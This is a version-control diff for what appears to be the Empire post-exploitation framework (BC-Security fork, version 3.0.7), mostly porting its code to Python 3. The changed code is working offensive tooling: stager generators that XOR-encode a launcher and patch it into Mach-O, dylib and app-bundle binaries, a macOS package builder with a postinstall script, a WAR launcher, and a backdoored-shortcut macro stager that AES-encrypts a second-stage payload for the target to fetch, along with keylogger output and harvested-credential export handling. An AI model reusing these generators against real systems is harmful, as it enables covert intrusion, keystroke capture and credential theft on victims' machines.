New upstream version 3.0.7
Sophie Brun
4 years ago
0 | 2/6/2020 | |
1 | ------------ | |
2 | - Version 3.0.7 Master Release | |
3 | - Fixed string decode error in API - #92 (@Cx01N) | |
4 | - Fixed python3 conversion errors in backdoorlnkmacro, multi/war, osx/dylib, osx/pkg, and osx/macho launchers (@Cx01N & @hypnoticpattern) | |
5 | - Fixed exception error in autorun queue - #95 (@Cx01N) | |
6 | - Fixed report generation and SQL database errors (@Vinnybod & @Cx01N) | |
7 | ||
0 | 8 | 1/31/2020 |
1 | 9 | ------------ |
2 | 10 | - Version 3.0.6 Master Release |
374 | 374 | stagerOut = copy.deepcopy(stager.options) |
375 | 375 | |
376 | 376 | if ('OutFile' in stagerOut) and (stagerOut['OutFile']['Value'] != ''): |
377 | # if the output was intended for a file, return the base64 encoded text | |
378 | stagerOut['Output'] = base64.b64encode(stager.generate()) | |
377 | if isinstance(stager.generate(),str): | |
378 | # if the output was intended for a file, return the base64 encoded text | |
379 | stagerOut['Output'] = base64.b64encode(stager.generate().encode('UTF-8')) | |
380 | else: | |
381 | stagerOut['Output'] = base64.b64encode(stager.generate()) | |
382 | ||
379 | 383 | else: |
380 | 384 | # otherwise return the text of the stager generation |
381 | 385 | stagerOut['Output'] = stager.generate() |
477 | 481 | return make_response(jsonify({'error': 'module produced an empty script'}), 400) |
478 | 482 | |
479 | 483 | try: |
480 | moduleData.decode('ascii') | |
484 | if isinstance(moduleData, bytes): | |
485 | moduleData = moduleData.decode('ascii') | |
481 | 486 | except UnicodeDecodeError: |
482 | 487 | return make_response(jsonify({'error': 'module source contains non-ascii characters'}), 400) |
483 | 488 | |
781 | 786 | |
782 | 787 | stale = agentTime < time.mktime(time.localtime()) - intervalMax |
783 | 788 | |
784 | agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode('utf-8'), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results, "stale":stale}) | |
789 | if isinstance(session_key,bytes): | |
790 | session_key = session_key.decode('latin-1').encode('utf-8') | |
791 | ||
792 | agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results, "stale":stale}) | |
785 | 793 | |
786 | 794 | return jsonify({'agents' : agents}) |
787 | 795 | |
807 | 815 | agentTime = time.mktime(time.strptime(lastseen_time, "%Y-%m-%d %H:%M:%S")) |
808 | 816 | |
809 | 817 | if agentTime < time.mktime(time.localtime()) - intervalMax: |
810 | ||
811 | staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode('utf-8'), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) | |
818 | if isinstance(session_key, bytes): | |
819 | session_key = session_key.decode('latin-1').encode('utf-8') | |
820 | ||
821 | staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) | |
812 | 822 | |
813 | 823 | return jsonify({'agents' : staleAgents}) |
814 | 824 | |
873 | 883 | |
874 | 884 | for activeAgent in activeAgentsRaw: |
875 | 885 | [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent |
876 | activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) | |
886 | ||
887 | if isinstance(session_key,bytes): | |
888 | session_key = session_key.decode('latin-1').encode('utf-8') | |
889 | ||
890 | activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) | |
877 | 891 | |
878 | 892 | return jsonify({'agents' : activeAgents}) |
879 | 893 |
244 | 244 | """ |
245 | 245 | Save a file download for an agent to the appropriately constructed path. |
246 | 246 | """ |
247 | ||
248 | sessionID = self.get_agent_name_db(sessionID) | |
247 | nameid = self.get_agent_id_db(sessionID) | |
248 | if nameid: | |
249 | sessionID = nameid | |
250 | ||
249 | 251 | lang = self.get_language_db(sessionID) |
250 | 252 | parts = path.split("\\") |
251 | parts | |
252 | 253 | |
253 | 254 | # construct the appropriate save path |
254 | 255 | save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) |
1495 | 1496 | #this will cause the cmdloop() to start processing the autoruns |
1496 | 1497 | self.mainMenu.do_agents("kickit") |
1497 | 1498 | except Exception as e: |
1498 | if e.message == "endautorun": | |
1499 | if e == "endautorun": | |
1499 | 1500 | pass |
1500 | 1501 | else: |
1501 | raise e | |
1502 | print(helpers.color("[!] End of Autorun Queue" )) | |
1502 | 1503 | |
1503 | 1504 | return "STAGE2: %s" % (sessionID) |
1504 | 1505 | |
1939 | 1940 | |
1940 | 1941 | |
1941 | 1942 | elif responseName == "TASK_CMD_JOB": |
1942 | #check if this is the powershell keylogging task, if so, write output to file instead of screen | |
1943 | #check if this is the powershell keylogging task, if so, write output to file instead of screen | |
1943 | 1944 | if keyLogTaskID and keyLogTaskID == taskID: |
1944 | 1945 | safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath) |
1945 | 1946 | savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID) |
14 | 14 | from builtins import str |
15 | 15 | from builtins import range |
16 | 16 | |
17 | VERSION = "3.0.6 BC-Security Fork" | |
17 | VERSION = "3.0.7 BC-Security Fork" | |
18 | 18 | |
19 | 19 | from pydispatch import dispatcher |
20 | 20 | |
958 | 958 | f = open('data/credentials.csv','w') |
959 | 959 | f.write('Domain, Username, Host, Cred Type, Password\n') |
960 | 960 | for row in rows: |
961 | row = list(row) | |
962 | for n in range(len(row)): | |
963 | if isinstance(row[n], bytes): | |
964 | row[n] = row[n].decode('UTF-8') | |
961 | 965 | f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n') |
962 | 966 | f.close() |
963 | 967 | |
964 | 968 | # Empire Log |
965 | 969 | cur.execute(""" |
966 | 970 | SELECT |
967 | reporting.time_stamp | |
968 | ,reporting.event_type | |
969 | ,reporting.name as "AGENT_ID" | |
970 | ,a.hostname | |
971 | ,reporting.taskID | |
972 | ,t.data AS "Task" | |
973 | ,r.data AS "Results" | |
971 | time_stamp, | |
972 | event_type, | |
973 | substr(reporting.name, pos+1) as agent_name, | |
974 | a.hostname, | |
975 | taskID, | |
976 | t.data as "Task", | |
977 | r.data as "Results" | |
974 | 978 | FROM |
975 | reporting | |
976 | JOIN agents a on reporting.name = a.session_id | |
977 | LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (reporting.name = t.agent) | |
978 | LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (reporting.name = r.agent) | |
979 | WHERE | |
980 | reporting.event_type == 'task' OR reporting.event_type == 'checkin' | |
979 | ( | |
980 | SELECT | |
981 | time_stamp, | |
982 | event_type, | |
983 | name, | |
984 | instr(name, '/') as pos, | |
985 | taskID | |
986 | FROM reporting | |
987 | WHERE name LIKE 'agent%' | |
988 | AND reporting.event_type == 'task' OR reporting.event_type == 'checkin') reporting | |
989 | LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (agent_name = t.agent) | |
990 | LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (agent_name = r.agent) | |
991 | JOIN agents a on agent_name = a.session_id | |
981 | 992 | """) |
982 | 993 | rows = cur.fetchall() |
983 | 994 | print(helpers.color("[*] Writing data/master.log")) |
985 | 996 | f.write('Empire Master Taskings & Results Log by timestamp\n') |
986 | 997 | f.write('='*50 + '\n\n') |
987 | 998 | for row in rows: |
999 | row = list(row) | |
1000 | for n in range(len(row)): | |
1001 | if isinstance(row[n], bytes): | |
1002 | row[n] = row[n].decode('UTF-8') | |
988 | 1003 | f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + str(row[5]) + '\n' + str(row[6]) + '\n') |
989 | 1004 | f.close() |
990 | 1005 | cur.close() |
1138 | 1153 | |
1139 | 1154 | def emptyline(self): |
1140 | 1155 | pass |
1141 | ||
1142 | ||
1156 | ||
1143 | 1157 | def postcmd(self, stop, line): |
1144 | 1158 | if line == "back": |
1145 | 1159 | return True |
1148 | 1162 | if nextcmd == "lastautoruncmd": |
1149 | 1163 | raise Exception("endautorun") |
1150 | 1164 | self.cmdqueue.append(nextcmd) |
1151 | ||
1152 | ||
1165 | ||
1153 | 1166 | def do_back(self, line): |
1154 | 1167 | "Go back a menu." |
1155 | 1168 | return True |
4468 | 4481 | "Generate/execute the given Empire stager." |
4469 | 4482 | if not self.validate_options(): |
4470 | 4483 | return |
4471 | ||
4484 | ||
4472 | 4485 | stagerOutput = self.stager.generate() |
4473 | 4486 | |
4474 | 4487 | savePath = '' |
626 | 626 | ret += pack('<B',0) #hotkey |
627 | 627 | ret += pack('<B',0) #hotkey |
628 | 628 | ret += (b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # reserved |
629 | print(ret) | |
630 | 629 | |
631 | 630 | if self.link_flags.has_shell_item_id_list: |
632 | 631 | siil = self.shell_item_id_list.bytes |
152 | 152 | |
153 | 153 | dllRaw = '' |
154 | 154 | with open(origPath, 'rb') as f: |
155 | dllRaw = f.read() | |
155 | dllRaw = f.read() | |
156 | 156 | |
157 | 157 | replacementCode = helpers.decode_base64(poshCode) |
158 | 158 | # patch the dll with the new PowerShell code |
162 | 162 | |
163 | 163 | flags = 0 |
164 | 164 | flags |= 0x1 |
165 | ||
165 | ||
166 | 166 | sc = ConvertToShellcode(dllPatched) |
167 | 167 | |
168 | 168 | return sc |
169 | ||
169 | ||
170 | 170 | else: |
171 | 171 | print(helpers.color("[!] Original .dll for arch {} does not exist!".format(arch))) |
172 | ||
172 | ||
173 | 173 | |
174 | 174 | |
175 | 175 | def generate_macho(self, launcherCode): |
192 | 192 | count = 0 |
193 | 193 | if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64: |
194 | 194 | count += 1 |
195 | if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0: | |
195 | if cmd[count].segname.strip(b'\x00') == b'__TEXT' and cmd[count].nsects > 0: | |
196 | 196 | count += 1 |
197 | 197 | for section in cmd[count]: |
198 | if section.sectname.strip('\x00') == '__cstring': | |
198 | if section.sectname.strip(b'\x00') == b'__cstring': | |
199 | 199 | offset = int(section.offset) + (int(section.size) - 2119) |
200 | 200 | placeHolderSz = int(section.size) - (int(section.size) - 2119) |
201 | 201 | |
206 | 206 | |
207 | 207 | key = 'subF' |
208 | 208 | launcherCode = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(launcherCode, cycle(key))) |
209 | launcherCode = base64.urlsafe_b64encode(launcherCode) | |
210 | launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) | |
209 | launcherCode = base64.urlsafe_b64encode(launcherCode.encode('utf-8')) | |
210 | launcher = launcherCode + b'\x00' * (placeHolderSz - len(launcherCode)) | |
211 | 211 | patchedMachO = template[:offset]+launcher+template[(offset+len(launcher)):] |
212 | 212 | |
213 | 213 | return patchedMachO |
237 | 237 | |
238 | 238 | if int(macho.headers[0].header.filetype) != MH_DYLIB: |
239 | 239 | print(helpers.color("[!] Dylib template is not the correct filetype")) |
240 | return "" | |
241 | ||
242 | cmds = macho.headers[0].commands | |
243 | ||
244 | for cmd in cmds: | |
245 | count = 0 | |
246 | if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT: | |
247 | count += 1 | |
248 | if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0: | |
249 | count += 1 | |
250 | for section in cmd[count]: | |
251 | if section.sectname.strip('\x00') == '__cstring': | |
252 | offset = int(section.offset) | |
253 | placeHolderSz = int(section.size) - 52 | |
254 | template = f.read() | |
255 | f.close() | |
256 | ||
257 | if placeHolderSz and offset: | |
258 | ||
259 | launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) | |
260 | patchedDylib = template[:offset]+launcher+template[(offset+len(launcher)):] | |
261 | ||
262 | return patchedDylib | |
263 | else: | |
264 | print(helpers.color("[!] Unable to patch dylib")) | |
265 | ||
266 | ||
267 | def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): | |
268 | ||
269 | """ | |
270 | Generates an application. The embedded executable is a macho binary with the python interpreter. | |
271 | """ | |
272 | MH_EXECUTE = 2 | |
273 | ||
274 | if Arch == 'x64': | |
275 | ||
276 | f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher", "rb") | |
277 | directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/" | |
278 | else: | |
279 | f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher", "rb") | |
280 | directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/" | |
281 | ||
282 | macho = macholib.MachO.MachO(f.name) | |
283 | ||
284 | if int(macho.headers[0].header.filetype) != MH_EXECUTE: | |
285 | print(helpers.color("[!] Macho binary template is not the correct filetype")) | |
286 | 240 | return "" |
287 | 241 | |
288 | 242 | cmds = macho.headers[0].commands |
297 | 251 | if section.sectname.strip(b'\x00') == b'__cstring': |
298 | 252 | offset = int(section.offset) |
299 | 253 | placeHolderSz = int(section.size) - 52 |
300 | ||
301 | 254 | template = f.read() |
302 | 255 | f.close() |
303 | 256 | |
304 | 257 | if placeHolderSz and offset: |
305 | 258 | |
306 | launcher = launcherCode.encode('utf8') + b'\x00' * (placeHolderSz - len(launcherCode)) | |
259 | launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) | |
260 | if isinstance(launcher,str): | |
261 | launcher = launcher.encode('UTF-8') | |
262 | patchedDylib = b"".join([template[:offset],launcher,template[(offset+len(launcher)):]]) | |
263 | ||
264 | return patchedDylib | |
265 | else: | |
266 | print(helpers.color("[!] Unable to patch dylib")) | |
267 | ||
268 | ||
269 | def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): | |
270 | ||
271 | """ | |
272 | Generates an application. The embedded executable is a macho binary with the python interpreter. | |
273 | """ | |
274 | MH_EXECUTE = 2 | |
275 | ||
276 | if Arch == 'x64': | |
277 | ||
278 | f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher", "rb") | |
279 | directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/" | |
280 | else: | |
281 | f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher", "rb") | |
282 | directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/" | |
283 | ||
284 | macho = macholib.MachO.MachO(f.name) | |
285 | ||
286 | if int(macho.headers[0].header.filetype) != MH_EXECUTE: | |
287 | print(helpers.color("[!] Macho binary template is not the correct filetype")) | |
288 | return "" | |
289 | ||
290 | cmds = macho.headers[0].commands | |
291 | ||
292 | for cmd in cmds: | |
293 | count = 0 | |
294 | if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT: | |
295 | count += 1 | |
296 | if cmd[count].segname.strip(b'\x00') == b'__TEXT' and cmd[count].nsects > 0: | |
297 | count += 1 | |
298 | for section in cmd[count]: | |
299 | if section.sectname.strip(b'\x00') == b'__cstring': | |
300 | offset = int(section.offset) | |
301 | placeHolderSz = int(section.size) - 52 | |
302 | ||
303 | template = f.read() | |
304 | f.close() | |
305 | ||
306 | if placeHolderSz and offset: | |
307 | ||
308 | launcher = launcherCode.encode('utf-8') + b'\x00' * (placeHolderSz - len(launcherCode)) | |
307 | 309 | patchedBinary = template[:offset]+launcher+template[(offset+len(launcher)):] |
308 | 310 | if AppName == "": |
309 | 311 | AppName = "launcher" |
422 | 424 | os.chdir("pkgbuild") |
423 | 425 | os.system("cp -r ../"+AppName+".app root/Applications/") |
424 | 426 | os.system("chmod +x root/Applications/") |
425 | os.system("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload") | |
427 | subprocess.call("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload", shell=True, stderr=subprocess.DEVNULL) | |
428 | ||
426 | 429 | os.system("chmod +x expand/Payload") |
427 | 430 | s = open('scripts/postinstall','r+') |
428 | 431 | script = s.read() |
430 | 433 | s.seek(0) |
431 | 434 | s.write(script) |
432 | 435 | s.close() |
433 | os.system("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts") | |
436 | subprocess.call("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts", shell=True, stderr=subprocess.DEVNULL) | |
434 | 437 | os.system("chmod +x expand/Scripts") |
435 | numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n') | |
436 | size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0] | |
438 | numFiles = subprocess.check_output("find root | wc -l",shell=True).strip(b'\n') | |
439 | size = subprocess.check_output("du -b -s root",shell=True).split(b'\t')[0] | |
437 | 440 | size = old_div(int(size), 1024) |
438 | 441 | p = open('expand/PackageInfo','w+') |
439 | 442 | pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?> |
460 | 463 | </pkg-info> |
461 | 464 | """ |
462 | 465 | pkginfo = pkginfo.replace('APPNAME',AppName) |
463 | pkginfo = pkginfo.replace('KEY1',numFiles) | |
466 | pkginfo = pkginfo.replace('KEY1',numFiles.decode('UTF-8')) | |
464 | 467 | pkginfo = pkginfo.replace('KEY2',str(size)) |
465 | 468 | p.write(pkginfo) |
466 | 469 | p.close() |
142 | 142 | ''' %(appName, appName) |
143 | 143 | |
144 | 144 | # build the in-memory ZIP and write the three files in |
145 | warFile = io.StringIO() | |
145 | warFile = io.BytesIO() | |
146 | 146 | zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED) |
147 | 147 | |
148 | 148 | zipData.writestr("META-INF/MANIFEST.MF", manifest) |
0 | 0 | from __future__ import print_function |
1 | 1 | from builtins import object |
2 | 2 | from lib.common import helpers |
3 | import os | |
4 | 3 | |
5 | 4 | class Stager(object): |
6 | 5 |
7 | 7 | from xlwt import Workbook, Utils |
8 | 8 | from lib.common import helpers |
9 | 9 | from Crypto.Cipher import AES |
10 | import os | |
10 | 11 | |
11 | 12 | |
12 | 13 | class Stager(object): |
150 | 151 | if ch in encKey: |
151 | 152 | encKey = encKey.replace(ch, random.choice(string.ascii_lowercase)) |
152 | 153 | encIV = random.randint(1, 240) |
153 | ||
154 | ||
154 | 155 | # generate the launcher |
155 | 156 | launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False, |
156 | 157 | userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, |
252 | 253 | color="green")) |
253 | 254 | |
254 | 255 | # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut |
255 | ivBuf = "" | |
256 | ivBuf = ("").encode('UTF-8') | |
256 | 257 | for z in range(0, 16): |
257 | ivBuf = ivBuf + chr(encIV + z) | |
258 | encryptor = AES.new(str(encKey, "utf-8"), AES.MODE_CBC, ivBuf) | |
259 | launcher = str(launcher, "utf-8") | |
258 | IV = encIV + z | |
259 | IV = IV.to_bytes(1, byteorder='big') | |
260 | ivBuf = b"".join([ivBuf,IV]) | |
261 | ||
262 | encryptor = AES.new(encKey, AES.MODE_CBC, ivBuf) | |
263 | ||
260 | 264 | # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space |
261 | 265 | padding = 16 - (len(launcher) % 16) |
262 | 266 | if padding == 0: |
265 | 269 | launcher = launcher + (chr(padding) * padding) |
266 | 270 | |
267 | 271 | cipher_text = encryptor.encrypt(launcher) |
268 | cipher_text = helpers.encode_base64(ivBuf + cipher_text) | |
272 | cipher_text = helpers.encode_base64(b"".join([ivBuf,cipher_text])) | |
269 | 273 | |
270 | 274 | # write XML to disk |
271 | 275 | print(helpers.color("Writing xml...\n", color="blue")) |
272 | fileWrite = open(XmlOut, "w") | |
273 | fileWrite.write("<?xml version=\"1.0\"?>\n") | |
274 | fileWrite.write("<main>") | |
276 | fileWrite = open(XmlOut, "wb") | |
277 | fileWrite.write(b"<?xml version=\"1.0\"?>\n") | |
278 | fileWrite.write(b"<main>") | |
275 | 279 | fileWrite.write(cipher_text) |
276 | fileWrite.write("</main>\n") | |
280 | fileWrite.write(b"</main>\n") | |
277 | 281 | fileWrite.close() |
278 | 282 | print(helpers.color( |
279 | 283 | "xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n", |